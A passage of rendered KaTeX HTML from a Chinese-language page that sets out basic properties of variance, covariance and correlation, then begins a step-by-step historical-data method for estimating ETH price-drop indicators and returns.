style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose">]</span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose">]</span></span></span></span></li></ul><p><strong>方差的基本性质</strong>：</p><ul><li><strong>定义</strong>：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord">Var</span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0641em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose">]</span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0641em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0641em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose">]</span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span></li><li><strong>常数性</strong>：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord">Var</span></span><span class="mopen">(</span><span class="mord mathnormal">c</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>（c为常数）</li><li><strong>缩放性</strong>：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord">Var</span></span><span class="mopen">(</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">b</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0641em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mord text"><span class="mord">Var</span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose">)</span></span></span></span></li><li><strong>线性组合</strong>：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord">Var</span></span><span class="mopen">(</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">bY</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0641em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mord text"><span class="mord">Var</span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0641em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mord text"><span class="mord">Var</span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">2</span><span class="mord mathnormal">ab</span><span class="mord text"><span class="mord">Cov</span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose">)</span></span></span></span></li></ul><p><strong>协方差的基本性质</strong>：</p><ul><li><strong>定义</strong>：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord">Cov</span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose">])</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose">])]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose">]</span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose">]</span></span></span></span></li><li><strong>对称性</strong>：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord">Cov</span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord">Cov</span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose">)</span></span></span></span></li><li><strong>线性性</strong>：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord">Cov</span></span><span class="mopen">(</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">b</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">c</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">a</span><span class="mord mathnormal">c</span><span class="mord text"><span class="mord">Cov</span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose">)</span></span></span></span></li><li><strong>独立性</strong>：如果X和Y独立，则<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord">Cov</span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></li></ul><p><strong>相关系数</strong>：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ρ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.557em;vertical-align:-1.13em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.427em;"><span style="top:-2.175em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.935em;"><span class="svg-align" style="top:-3.2em;"><span class="pstrut" style="height:3.2em;"></span><span class="mord" style="padding-left:1em;"><span class="mord text"><span class="mord">Var</span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose">)</span><span class="mord text"><span class="mord">Var</span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose">)</span></span></span><span style="top:-2.895em;"><span class="pstrut" style="height:3.2em;"></span><span class="hide-tail" style="min-width:1.02em;height:1.28em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.28em" viewBox="0 0 400000 1296" preserveAspectRatio="xMinYMin slice"><path d="M263,681c0.7,0,18,39.7,52,119c34,79.3,68.167,158.7,102.5,238c34.3,79.3,51.8,119.3,52.5,120c340,-704.7,510.7,-1060.3,512,-1067l0 -0c4.7,-7.3,11,-11,19,-11H40000v40H1012.3s-271.3,567,-271.3,567c-38.7,80.7,-84,175,-136,283c-52,108,-89.167,185.3,-111.5,232c-22.3,46.7,-33.8,70.3,-34.5,71c-4.7,4.7,-12.3,7,-23,7s-12,-1,-12,-1s-109,-253,-109,-253c-72.7,-168,-109.3,-252,-110,-252c-10.7,8,-22,16.7,-34,26c-22,17.3,-33.3,26,-34,26s-26,-26,-26,-26s76,-59,76,-59s76,-60,76,-60zM1001 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.305em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord text"><span class="mord">Cov</span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose">)</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.13em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p>其中<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7804em;vertical-align:-0.136em;"></span><span class="mord">−</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ρ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></p><h3 id="排除的方法A：历史数据法">排除的方法A：历史数据法</h3><blockquote><p><strong>详细计算步骤</strong>：</p></blockquote><p><strong>第一步：收集历史价格数据</strong> <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">t</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">}</span></span></span></span></p><ul><li>收集过去n个时期的ETH价格数据</li><li>例如：过去250个交易日的日收盘价</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">...</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>（按时间顺序）</li></ul><p><strong>第二步：定义历史跌破事件</strong> <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.0785em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">t</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">}</span></span></span></span><br>对每个历史时点t，定义跌破指示变量：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.0785em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">t</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:3em;vertical-align:-1.25em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size4">{</span></span><span class="mord"><span class="mtable"><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.69em;"><span style="top:-3.69em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.25em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.19em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:1em;"></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.69em;"><span style="top:-3.69em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord text"><span class="mord cjk_fallback">如果</span><span class="mord"> </span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">t</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span></span></span><span style="top:-2.25em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord text"><span class="mord cjk_fallback">如果</span><span class="mord"> </span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">t</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.19em;"><span></span></span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p><strong>第三步：计算历史收益率</strong> <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mopen">{</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span><span class="mpunct mtight">,</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose">}</span></span></span></span><br>对每个时期计算ETH收益率：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span><span class="mpunct mtight">,</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.2547em;vertical-align:-0.8943em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3603em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">t</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">t</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">t</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.8943em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p><strong>第四步：计算样本均值</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8201em;"></span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8201em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span></span><span style="top:-3.2523em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.1389em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.9185em;vertical-align:-1.2671em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">n</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8829em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">t</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span 